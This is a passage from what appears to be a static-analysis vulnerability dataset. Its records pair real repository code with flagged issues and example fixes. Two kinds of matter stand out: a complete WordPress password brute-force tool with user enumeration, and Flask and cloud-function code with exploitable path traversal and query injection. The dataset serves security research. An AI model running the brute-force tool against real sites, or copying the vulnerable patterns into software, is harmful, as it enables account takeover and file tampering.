checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 112, "entireCode": "from flask import Blueprint, redirect, render_template , request ,session, g , current_app ,jsonify , flash ,send_from_directory,make_response\nfrom werkzeug.utils import secure_filename\nfrom db import User,db\nfrom flask_socketio import emit\nimport logging\nimport os\nfrom utils import *\nimport magic\nimport pandas as pd\n\nmain = Blueprint(\"main_route\",__name__)\n\nwebsocket = current_app.config[\"socket\"]\n\n#todo , make a log dir\n\n\n@main.route(\"/main\")\ndef render_main():\n gdbpid = request.args.get(\"gdbpid\",0)\n id = session[\"id\"]\n user=User.find(id)\n path = os.path.join(current_app.config['STORE_PATH'],user.id)\n logging.info(f\"User : {user.id} connect! Starting initial~\")\n tree = {}\n file_path = []\n if user.dir_path == \"\":\n logging.info(f\"Create dir:{path}\")\n make_dir(path)\n user.dir_path = path\n db.session.commit()\n else:\n if os.path.exists(user.dir_path):\n make_dir(path)\n get_file(user.dir_path,tree,file_path)\n tree[\"text\"] = user.name\n tree[\"state\"] = {\"opened\": True}\n return render_template(\"main.html\",gdbpid=gdbpid,filepath=file_path,id=id)\n\n\n\n@main.route(\"/main/get_dir\")\ndef file_handler():\n id = request.args.get(\"id\")\n user = User.find(id)\n tree = {}\n file_path=[]\n get_file(user.dir_path,tree,file_path)\n tree[\"text\"] = user.name\n tree[\"state\"] = {\"opened\": True}\n return jsonify(tree)\n\n@main.route(\"/main/upload_file\", methods=['POST'])\ndef upload_file():\n form = request.form.to_dict(flat=True)\n user_id = form[\"id\"]\n file_name = form[\"name\"]\n file_content = form[\"data\"]\n file_path = os.path.join(current_app.config[\"STORE_PATH\"],user_id)\n file_path = os.path.join(file_path,file_name)\n mk_write_file(file_path,file_content)\n return jsonify(\"succeed\")\n\n\n@main.route(\"/main/remove_file\", methods=['GET'])\ndef remove_file():\n id = request.args.get(\"id\")\n filename = request.args.get(\"filename\")\n user = User.find(id)\n file_path = os.path.join(user.dir_path,filename)\n os.remove(file_path)\n return jsonify(\"succeed\")\n\n\n\n@main.route(\"/main/upload_attachment\", methods=['POST'])\ndef upload_attachment():\n form = request.form\n user_id = form[\"id\"]\n file_name = form[\"name\"]\n file_line = form[\"line\"]\n file_des = form[\"des\"]\n file_path = os.path.join(current_app.config[\"STORE_PATH\"],user_id)\n des_path = os.path.join( file_path,file_name+file_line+\".des\")\n file_path =os.path.join( file_path,file_name+file_line+\".asset\")\n # f = open(file_path,\"w\")\n # f.write(f\"{file_content}\")\n # f.close()\n if request.method == 'POST':\n file = request.files['file']\n if file.filename == '':\n flash('No selected file')\n return redirect(request.url)\n filename = secure_filename(file.filename)\n file.save(file_path)\n mk_write_file(des_path,file_des)\n return '{\"filename\":\"%s\"}' % filename\n return ''\n\n@main.route(\"/main/ask_attachment\", methods=['POST'])\ndef ask_attachment():\n form = request.form\n user_id = form[\"id\"]\n file_name = form[\"name\"]\n file_line = form[\"line\"]\n file_path = os.path.join(current_app.config[\"STORE_PATH\"],user_id)\n file_path =os.path.join( file_path,file_name+file_line+\".asset\")\n file_content = \"\"\n if(os.path.exists(file_path)):\n filetype= magic.from_file(file_path, mime=True)\n if(filetype==\"text/plain\"):\n f = open(file_path,\"r\")\n file_content = f.read(204800)\n f.close()\n\n return jsonify({\n \"is\":True,\n \"type\":filetype,\n \"data\":file_content\n })\n else :\n return jsonify({\n \"is\":False,\n \"type\":\"\",\n \"data\":\"\"\n })\n\n@main.route(\"/main/attachment//\",methods=['GET'])\ndef send_attachment(id,file_name):\n file_path = os.path.join(current_app.config[\"STORE_PATH\"],id)\n #file_path =os.path.join( file_path,file_name+\".asset\")\n print(file_path+file_name+\".asset\")\n response = make_response(send_from_directory(file_path,file_name+\".asset\"))\n return response\n\n@main.route(\"/main/ask_attachment_list\",methods=['POST'])\ndef send_attachment_list():\n form = request.form\n files = []\n id = form[\"id\"]\n file_path = os.path.join(current_app.config[\"STORE_PATH\"],id)\n file_path = Path(file_path)\n fs = [x for x in file_path.iterdir() if x.is_file() and x.suffix==\".asset\"]\n for f in fs:\n file_tpye = magic.from_file(f.as_posix(),mime=True)\n pos = f.stem.find(\".c\")\n if(pos==-1):\n pos = f.stem.find(\".h\")\n if(pos==-1):\n continue\n file_name = f.stem[0:pos+2]\n file_line = f.stem[pos+2:]\n rf = open(os.path.join(file_path.as_posix(),f\"{file_name}{file_line}.des\"),\"r\")\n file_des = rf.read(204800)\n files.append({\n \"file_name\":file_name,\n \"file_line\":file_line,\n \"file_type\":file_tpye,\n \"file_des\":file_des\n })\n return jsonify({\n \"list\":files\n })\n\n@main.route(\"/admin/ask_usr_list\",methods=[\"POST\"])\ndef send_usr_list():\n usr = User.query.all()\n data = []\n for u in usr:\n data.append({\n \"usr_name\":u.id,\n \"usr_line\":u.name,\n \"usr_des\":u.email\n })\n return jsonify({\n \"list\":data\n })\n\n@main.route(\"/admin/delete_usr\",methods=[\"POST\"])\ndef delete_usr():\n form = request.form\n id = form[\"id\"]\n usr = User.find(id)\n if usr:\n db.session.delete(usr)\n db.session.commit()\n return jsonify({\n \"status\":True\n })\n\n@main.route(\"/admin/upload_csv\",methods=[\"POST\"])\ndef parse_csv():\n file = request.files['file']\n csv_data = pd.read_csv(file,names=['0','1','2','3'])\n for _,row in csv_data.iterrows():\n value = row.values\n print(value)\n if(User.find(value[0])):\n continue\n else: \n User.add(value[0],value[1],value[3],value[2])\n return jsonify({\n \"status\":True\n })\n\n\n@main.route(\"/admin\")\ndef admin():\n return render_template(\"admin.html\")\n\n@websocket.on(\"pull_file\",namespace=\"/gdb_listener\")\ndef push_file(data):\n filepath = str(data)\n data = readfile(filepath)\n filename = os.path.basename(filepath)\n emit(\"push_file\",{\n \"name\":filename,\n \"data\":data,\n })\n\n", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 102, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 102, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 103, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "formask_attachment.form[\"id\"]"}}, {"lineNo": 104, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "formask_attachment.form[\"name\"]"}}, {"lineNo": 105, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "formask_attachment.form[\"line\"]"}}, {"lineNo": 106, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "os.path.join"}}, {"lineNo": 107, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "os.path.join"}}, {"lineNo": 107, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 111, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "111"}}, {"lineNo": 112, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "da0724feb486923c25695c4d9ace83328a934a9b8760884f9f74f5fd31f9bba8", "license": {"spdx": ["MIT"], "repo": "RandomRobbieBF/wordpress-bf", "path": "wordpress-brute.py", "repo_head_hexsha": "fe78d4367b7baaf18a4200c5c040595d37b4100f", "stack_hexsha": "fc46a91fda80741480960994acf3dbc98c9e618b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Sensitive Information Storage in Plaintext", "issueDescriptionEn": "The Sensitive Information Storage in Plaintext checker finds instances in which unencrypted sensitive information is stored in plaintext.\nEnsure to encrypt the sensitive information while storing it to an external environment file.\nAdditionally, consider separating the sensitive information and normal data in the software designing phase.", "issueLineNumber": 135, "entireCode": "#!/usr/bin/env python\n#\n# Wordpress Bruteforce Tool\n#\n# By @random_robbie\n# \n#\n\nimport requests\nimport json\nimport sys\nimport argparse\nimport re\nimport os.path\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\nsession = requests.Session()\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-u\", \"--url\", required=True, default=\"http://wordpress.lan\", help=\"Wordpress URL\")\nparser.add_argument(\"-f\", \"--file\", required=True, default=\"pass.txt\" ,help=\"Password File\")\nargs = parser.parse_args()\nurl = args.url\npassfile = args.file\n\n\n\nhttp_proxy = \"\"\nproxyDict = { \n \"http\" : http_proxy, \n \"https\" : http_proxy, \n \"ftp\" : http_proxy\n }\n\n\n\n# Grab Wordpress Users via Wordpress JSON api\ndef grab_users_api(url):\n\theaders = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"}\n\tresponse = session.get(\"\"+url+\"/wp-json/wp/v2/users\", headers=headers,verify=False, proxies=proxyDict)\n\tif 'rest_user_cannot_view' in response.text:\n\t\tprint (\"[-] REST API Endpoint Requires Permissions [-]\")\n\t\treturn False\n\tif response.status_code == 404:\n\t\tprint (\"[-] Rest API Endpoint returns 404 Not Found [-]\")\n\t\treturn False\n\telif response.status_code == 200:\n\t\tjsonstr = json.loads(response.content)\n\t\treturn jsonstr\n\n \n# Grab Wordpress Users via Sitemap\ndef grab_users_sitemap(url):\n\theaders = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"}\n\tresponse = session.get(\"\"+url+\"/author-sitemap.xml\", headers=headers,verify=False, proxies=proxyDict)\n\tif response.status_code == 404:\n\t\treturn False\n\telif response.status_code == 200:\n\t\treturn response.text\n\n# Grab Wordpress Users via RSS Feed\ndef grab_users_rssfeed(url):\n\theaders = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"}\n\tresponse = session.get(\"\"+url+\"/feed/\", headers=headers,verify=False, proxies=proxyDict)\n\tif response.status_code == 404:\n\t\treturn False\n\telif response.status_code == 200:\n\t\tif \"dc:creator\" in response.text:\n\t\t\treturn response.text\n\t\t\n\n# Check we can get to wp-admin login.\ndef check_wpadmin(url):\n\theaders = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"}\n\tresponse = session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\", headers=headers,verify=False, proxies=proxyDict)\n\tif \"Powered by WordPress\" in response.text:\n\t\tif \"wp-submit\" in response.text:\n\t\t\tif \"reCAPTCHA\" not in response.text:\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\t\telse:\n\t\t\treturn False\n\telse:\n\t\treturn False\n\n\n\t\t\n# Check URL is wordpress\ndef check_is_wp(url):\n\theaders = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"}\n\tresponse = session.get(\"\"+url+\"\", headers=headers,verify=False, proxies=proxyDict)\n\tif \"wp-content\" in response.text:\n\t\treturn True\n\telse:\n\t\treturn False\t\n\n\n# Check if wordfence is installed as this limits the logins to 20 per ip\ndef check_wordfence(url):\n\theaders = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"}\n\tresponse = session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\", headers=headers,verify=False, proxies=proxyDict)\n\tif \"Wordfence Security - Firewall & Malware Scan\" in response.text:\n\t\treturn True\n\telse:\n\t\treturn False\t\n\t\t\t\n\t\t\n# Test the logins\t\t\ndef test_login (url,user,password,cnt,attempts):\n\tif str(cnt) == attempts:\n\t\tprint(\"[-] Stopping as Wordfence will block your IP [-]\")\n\t\tsys.exit(0)\n\tparamsPost = {\"wp-submit\":\"Log In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"}\n\theaders = {\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip, deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"}\n\tcookies = {\"wordpress_test_cookie\":\"WP+Cookie+check\"}\n\tresponse = session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\", data=paramsPost, headers=headers, cookies=cookies,verify=False, proxies=proxyDict,allow_redirects = False)\n\tif response.status_code == 503:\n\t\tprint(\"[-] Website is giving 503 HTTP Status [-]\")\n\t\tsys.exit(0)\n\tif response.status_code == 502:\n\t\tprint(\"[-] Website is giving 502 HTTP Status [-]\")\n\t\tsys.exit(0)\n\tif response.status_code == 403:\n\t\tprint(\"[-] Website is giving 403 HTTP Status - WAF Blocking[-]\")\n\t\tsys.exit(0)\n\tif \"Google Authenticator code\" in response.text:\n\t\tprint(\"[-] 2FA is enabled Sorry [-]\")\n\t\tsys.exit(0)\n\n\tif \"wordpress_logged_in\" in response.headers['Set-Cookie']:\n\t\tprint(\"[+] Found Login Username: \"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\" [+]\")\n\t\ttext_file = open(\"found.txt\", \"a\")\n\t\ttext_file.write(\"\"+url+\" Found Login Username: \"+user+\" Password: \"+password+\"\\n\")\n\t\ttext_file.close()\n\t\tsys.exit(0)\n\telse:\n\t\tprint(\"[-] Login Failed for Username: \"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\" [-]\")\n\tcnt += 1\n\treturn cnt\n\t\ndef count_pass(passfile):\n\tcount = 0\n\twith open(passfile, 'r') as f:\n\t\tfor line in f:\n\t\t\tcount += 1\n\t\tf.close()\n\t\t\t\n\treturn str(count)\n\t\n\n# Dont no body like dupes.\ndef remove_dupes():\n\tlines_seen = set()\n\toutfile = open(\"users.txt\", \"w\")\n\tfor line in open(\"rssusers.txt\", \"r\"):\n\t\tif line not in lines_seen:\n\t\t\toutfile.write(line)\n\t\t\tlines_seen.add(line)\n\toutfile.close()\n\n\n\n\ndef attack_restapi(url,attempts,userdata,passfile):\n\tfor id in userdata:\n\t\t\tuser = id['slug']\n\t\t\tcnt = 1\n\t\t\tprint((\"[+] Found User: \"+user+\" [+]\"))\n\t\t\twith open(passfile, 'r') as f:\n\t\t\t\tfor line in f:\n\t\t\t\t\tpassword = line.strip()\n\t\t\t\t\tcnt = test_login (url,user,password,cnt,attempts)\n\t\t\tf.close()\n\n\n\ndef attack_rssfeed(url,attempts,userdata,passfile):\n\tusers = re.compile(\"(.*?))\\s',userdata)\n\tfor user in auth:\n\t\tthisuser = user[1]\n\t\th = thisuser.split('/')\n\t\tuser = h[4]\n\t\tcnt = 1\n\t\twith open(passfile, 'r') as f:\n\t\t\t\tfor line in f:\n\t\t\t\t\tpassword = line.strip()\n\t\t\t\t\tcnt = test_login (url,user,password,cnt,attempts)\n\t\tf.close()\n\t\t\n\t\t\n# Time For Some Machine Learning Quality IF statements.\t\t\ndef basic_checks(url):\n\tif check_is_wp(url):\n\t\tif check_wpadmin(url):\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\telse:\n\t\treturn False\n\n\n\n\t\t\nif basic_checks(url):\n\tprint(\"[+] Confirmed Wordpress Website [+]\")\nelse:\n\tprint (\"[-] Sorry this is either not a wordpress website or there is a issue blocking wp-admin [-]\")\n\tsys.exit(0)\n\nif os.path.isfile(passfile) and os.access(passfile, os.R_OK):\n print(\"[+] Password List Used: \"+passfile+\" [+]\")\nelse:\n print(\"[-] Either the file is missing or not readable [-]\")\n sys.exit(0)\n\t\n# Method Value for which method to enumerate users from\t\nmethod = \"None\"\nattempts = \"None\"\n\n# Which method to use for enumeration\nif grab_users_api(url):\n\tprint(\"[+] Users found via Rest API [-]\")\n\tmethod = \"restapi\"\n\nif grab_users_rssfeed(url) and method == \"None\":\n\tprint(\"[+] Users found via RSS Feed [+]\")\n\tmethod = \"rss\"\n\nif grab_users_sitemap(url) and method == \"None\":\n\tprint(\"[+] Users found via Authors Sitemap [-]\")\n\tmethod = \"sitemap\"\n\nif method == \"None\":\n\tprint (\"[-] Oh Shit it seems I was unable to find a method to grab usernames from [-]\")\n\tsys.exit(0)\t\n\nif check_wordfence(url):\n\tprint (\"[+] Wordfence is installed this will limit the testing to 20 attempts [+]\")\n\tattempts = \"20\"\n\n\n\n# Kick off Parsing and attacking\nif method == \"restapi\":\n\tuserdata = grab_users_api(url)\n\tattack_restapi(url,attempts,userdata,passfile)\nif method == \"rss\":\n\tuserdata = grab_users_rssfeed(url)\n\tattack_rssfeed(url,attempts,userdata,passfile)\nif method == \"sitemap\":\n\tuserdata = grab_users_sitemap(url)\n\tattack_sitemap(url,attempts,userdata,passfile)", "dangerousExampleEn": "1. from hashlib import sha256\n2. from Crypto.Hash import SHA256\n3. \n4. \n5. def bad_store(request):\n6. filename = \"a.txt\"\n7. username = request.GET[\"username\"]\n8. password = request.GET[\"password\"]\n9. with open(filename) as f:\n10. f.write(username)\n11. f.write(password)\nLine 11: A password is stored to the file as plain text.", "safeExampleEn": "1. def safe_store(request):\n2. filename = \"a.txt\"\n3. username = request.GET[\"username\"]\n4. password = request.GET[\"password\"]\n5. with open(filename) as f:\n6. f.write(username)\n7. h = SHA256.new(bytes(password, encoding='utf-8'))\n8. f.write(h.digest())\nLine 7: Save encrypted files when sensitive information has to be saved.", "contexts": [{"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 132, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "132"}}, {"lineNo": 135, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "password"}}, {"lineNo": 135, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "write"}}]}} {"id": "f23c29648998b1fa2b0b769d86d86b94f39d26982a181011a7e442b24dd500e5", "license": {"spdx": ["Apache-2.0"], "repo": "a386881/-", "path": "SudaAutoLogin.py", "repo_head_hexsha": "7ff1d2725d4e9691f4aabd46c928ed1a554375d2", "stack_hexsha": "ba16fa59961b765da18297dbd32815b00e0a3cbc", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Sensitive Information Storage in Plaintext", "issueDescriptionEn": "The Sensitive Information Storage in Plaintext checker finds instances in which unencrypted sensitive information is stored in plaintext.\nEnsure to encrypt the sensitive information while storing it to an external environment file.\nAdditionally, consider separating the sensitive information and normal data in the software designing phase.", "issueLineNumber": 83, "entireCode": "# -*- coding:utf-8 -*-\nVERSION = r'2016/04/02'\n# 配置中心\nURL = \"http://wg.suda.edu.cn/indexn.aspx\"\nSTUDENT_ID = 'XXXXXXXXXXXXXXXXXXXX'\nSTUDENT_PASSWORD = ''\n'''\nCreated on 2016年4月2日\n@author: XenoAmess\n'''\nimport urllib.parse\nimport urllib.request\nimport time\n\ndef get_html(url):\n '''首先通讯,获得一个html字符串,返回这个字符串'''\n html_byte = urllib.request.urlopen(url).read()\n html_str = str(html_byte, \"utf-8\")\n return html_str\n \ndef txt_wrap_by(start_str, end_str, html_str):\n '''取出字符串html_str中的,被start_str与end_str包绕的字符串'''\n start = html_str.find(start_str)\n if start >= 0:\n start += len(start_str)\n end = html_str.find(end_str, start)\n if end >= 0:\n return html_str[start:end].strip()\n\ndef read_html_for_money(html_str):\n '''读取拿到的html,返回钱数'''\n \n reg__L = r\"

您的帐户余额是\"\n reg__R = r\"元。

\"\n\n money = txt_wrap_by(reg__L, reg__R, html_str)\n return money\n \ndef read_html_for_keys(html_str):\n '''读取拿到的html,返回两个关键值'''\n \n reg__VIEWSTATE = r''\n \n viewstate = txt_wrap_by(reg__VIEWSTATE, reg__right, html_str)\n eventvalidation = txt_wrap_by(reg__EVENTVALIDATION, reg__right, html_str)\n \n return viewstate, eventvalidation\n# file_input = open('data.txt')\n# html_str = file_input.read()\n# file_input.close()\n# read_html(html_str)\n\ndef reget_html(url, string_student_id, string_student_password, VIEWSTATE, EVENTVALIDATION): \n '''再次向html通信'''\n search = urllib.parse.urlencode([\n ('__EVENTTARGET', ''),\n ('__EVENTARGUMENT', ''),\n ('__VIEWSTATE', VIEWSTATE),\n ('__EVENTVALIDATION', EVENTVALIDATION),\n ('TextBox1', string_student_id),\n ('TextBox2', string_student_password),\n ('nw', 'RadioButton2'),\n ('tm', 'RadioButton8'),\n ('Button1', '登录网关'),\n ])\n search = bytes(search, encoding=\"utf8\")\n html_byte = urllib.request.urlopen(url, search).read()\n html_str = str(html_byte, \"utf-8\")\n return html_str\n\ndef output_to_file(file_name_str, file_str):\n file_output = open(file_name_str, 'w')\n file_output.write(file_str)\n file_output.close()\n\ndef main():\n html_str = get_html(URL)\n output_to_file('before.html', html_str)\n VIEWSTATE, EVENTVALIDATION = read_html_for_keys(html_str)\n html_str = reget_html(URL, STUDENT_ID, STUDENT_PASSWORD, VIEWSTATE, EVENTVALIDATION)\n output_to_file('after.html', html_str)\n \n print(time.strftime(\"%c\"))\n \n money = read_html_for_money(html_str)\n if(money != None):\n print('登录成功。您的账户余额为' + money + '元。')\n else:\n print('请检查您是否已登录。若现在仍无网络连接,则意味着本程序已失效。')\n \ndef runforever():\n '''每隔十分钟自动登录一次'''\n while(1):\n main()\n time.sleep(10 * 60)\n\n\nif (__name__ == \"__main__\"):\n \n print('苏大网关自动登录器')\n print()\n print('版本:')\n print(VERSION)\n print()\n print('用户ID:')\n print(STUDENT_ID)\n print()\n print('用户密码:')\n print(STUDENT_PASSWORD)\n print()\n print('网关地址:')\n print(URL)\n print()\n print('作者:')\n print('XenoAmess')\n print()\n print('说明:')\n print(r'由于网关似乎经常掉线,所以该程序每10分钟自动登录一次。只需要最小化以后挂在那里不用管就行了。当然了虽然选哪个按钮都是2小时以后就退出了,不过我还是模拟的选的10小时的按钮。如果您不需要多次的话,请翻源码把下一行的runforever()改成main()就行了。')\n \n runforever()", "dangerousExampleEn": "1. from hashlib import sha256\n2. from Crypto.Hash import SHA256\n3. \n4. \n5. def bad_store(request):\n6. filename = \"a.txt\"\n7. username = request.GET[\"username\"]\n8. password = request.GET[\"password\"]\n9. with open(filename) as f:\n10. f.write(username)\n11. f.write(password)\nLine 11: A password is stored to the file as plain text.", "safeExampleEn": "1. def safe_store(request):\n2. filename = \"a.txt\"\n3. username = request.GET[\"username\"]\n4. password = request.GET[\"password\"]\n5. with open(filename) as f:\n6. f.write(username)\n7. h = SHA256.new(bytes(password, encoding='utf-8'))\n8. f.write(h.digest())\nLine 7: Save encrypted files when sensitive information has to be saved.", "contexts": [{"lineNo": 82, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "reget_html"}}, {"lineNo": 82, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 82, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "reget_html"}}, {"lineNo": 83, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "output_to_file"}}, {"lineNo": 83, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "output_to_file"}}, {"lineNo": 83, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "write"}}]}} {"id": "a44588f265d95f733a000999cfdb1df1982692495c92917615baeb78ce10a652", "license": {"spdx": ["MIT"], "repo": "migachevalexey/BigQuery-integrations", "path": "mysql/main.py", "repo_head_hexsha": "d44546fbd3ff116e35ef90800ade2399e7266d9e", "stack_hexsha": "b77285d78a57f47f11411ca9d0f97da9f2e1f31c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal and Resource Injection", "issueDescriptionEn": "When unverified external inputs are used to access system resources, attackers can manipulate the input values to access resources protected by the system, which lead to create vulnerability. Attackers can exploit this to modify or delete resources, leak system information, and cause service failure due to the conflicts between system resources.\nIn Python, using an unverified external input for functions that open a process, such as `subprocess.popen()`, or functions that open a pipe, such as `os.pipe()`, or for connecting a socket might cause the Path Traversal and Resource Injection.\nUse filters that can remove characters that are vulnerable to directory traversal attacks, such as /, \\, .., for external input used as a file name.", "issueLineNumber": 85, "entireCode": "from google.cloud import bigquery\nfrom mysql.connector import connect\nimport os\n\n# writeable part of the filesystem for Cloud Functions instance\ngc_write_dir = \"/tmp\"\n\ndef get_file_mysql(mysql_configuration):\n \"\"\"\n Querying data using Connector/Python via *host* MySQL server.\n The function return the full path to the file that has been downloaded.\n \"\"\"\n # construct MySQLConnection object and query table on a server\n try:\n cnx = connect(user = mysql_configuration[\"user\"], password = mysql_configuration[\"psswd\"], host = mysql_configuration[\"host\"],\n database = mysql_configuration[\"database\"], port = mysql_configuration[\"port\"] )\n cursor = cnx.cursor(dictionary = True)\n cursor.execute(mysql_configuration[\"query\"])\n results = cursor.fetchall()\n file_name = \"mysql.txt\"\n\n with open(file_name, \"w\") as output_file:\n for row in results:\n output_file.write(json.dumps(row) + \"\\n\")\n\n file_location = gc_write_dir + \"/\" + file_name\n print(\"Query <\" + mysql_configuration[\"query\"] + \"> has completed successfully.\")\n finally:\n try:\n cursor.close()\n cnx.close()\n except:\n print(\"Connection has not been established.\")\n return file_location\n\ndef give_file_gbq(path_to_file, bq_configuration):\n \"\"\"\n Download file from *path_to_file* to BigQuery table using *bq_configuration* settings.\n \"\"\"\n # construct Client object with the path to the table in which data will be stored\n client = bigquery.Client(project = bq_configuration[\"project_id\"])\n dataset_ref = client.dataset(bq_configuration[\"dataset_id\"])\n table_ref = dataset_ref.table(bq_configuration[\"table_id\"])\n\n # determine uploading options\n job_config = bigquery.LoadJobConfig()\n job_config.source_format = \"NEWLINE_DELIMITED_JSON\"\n job_config.write_disposition = bq_configuration[\"write_disposition\"]\n job_config.autodetect = True\n\n # upload the file to BigQuery table\n with open(path_to_file, \"rb\") as source_file:\n job = client.load_table_from_file(source_file, table_ref, location = bq_configuration[\"location\"], job_config = job_config)\n job.result()\n print(\"The Job \" + job.job_id + \" in status \" + job.state + \" for table \" + bq_configuration[\"project_id\"] + \".\" + bq_configuration[\"dataset_id\"] + \".\" + bq_configuration[\"table_id\"] + \".\")\n\ndef mysql(request):\n \"\"\"\n Function to execute.\n \"\"\"\n try:\n # get POST data from Flask.request object\n request_json = request.get_json()\n mysql_configuration = request_json[\"mysql\"]\n bq_configuration = request_json[\"bq\"]\n\n if not mysql_configuration.get(\"query\"):\n mysql_configuration[\"query\"] = \"SELECT * FROM \" + mysql_configuration[\"table_id\"]\n if not mysql_configuration.get(\"port\"):\n mysql_configuration[\"port\"] = 3306\n if not bq_configuration.get(\"location\"):\n bq_configuration[\"location\"] = \"US\"\n bq_configuration[\"write_disposition\"] = \"WRITE_TRUNCATE\"\n\n except Exception as error:\n print(\"An error occured with POST request data.\")\n print(str(error))\n raise SystemExit\n\n # go to writable directory\n os.chdir(gc_write_dir)\n\n # get the file from MySQL server\n try:\n mysql_file = get_file_mysql(mysql_configuration)\n except Exception as error:\n print(\"An error occured trying to get file from MySQL server.\")\n print(str(error))\n raise SystemExit\n\n # upload the file to BigQuery\n try:\n give_file_gbq(mysql_file, bq_configuration)\n except Exception as error:\n print(\"An error occured trying to upload file to Google BigQuery.\")\n print(str(error))", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def get_info(request):\n5. \trequest_file = request.POST.get('request_file')\n6. \tfilename, file_ext = os.path.splitext(request_file)\n7. \tfile_ext = file_ext.lower()\n8. \n9. if file_ext not in ['.txt', '.csv']:\n10. \t\treturn render(request, '/error.html', {'error':'Unable to open file.'})\n11. \n12. with open(request_file) as f:\n13. \t\tdata = f.read()\n14. \n15. \treturn render(request, '/success.html', {'data':data})\nLine 12: An external input of request_file is directly used as a parameter of open() method, which is vulnerable to path traversal.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def get_info(request):\n5. \trequest_file = request.POST.get('request_file')\n6. \n7. filename, file_ext = os.path.splitext(request_file)\n8. \tfile_ext = file_ext.lower()\n9. \n10. if file_ext not in ['.txt', '.csv']:\n11. \t\treturn render(request, '/error.html', {'error':'Unable to open file.'})\n12. \n13. filename = filename.replace('.', '')\n14. \tfilename = filename.replace('/', '')\n15. \tfilename = filename.replace('\\\\', '')\n16. \n17. with open(filename + 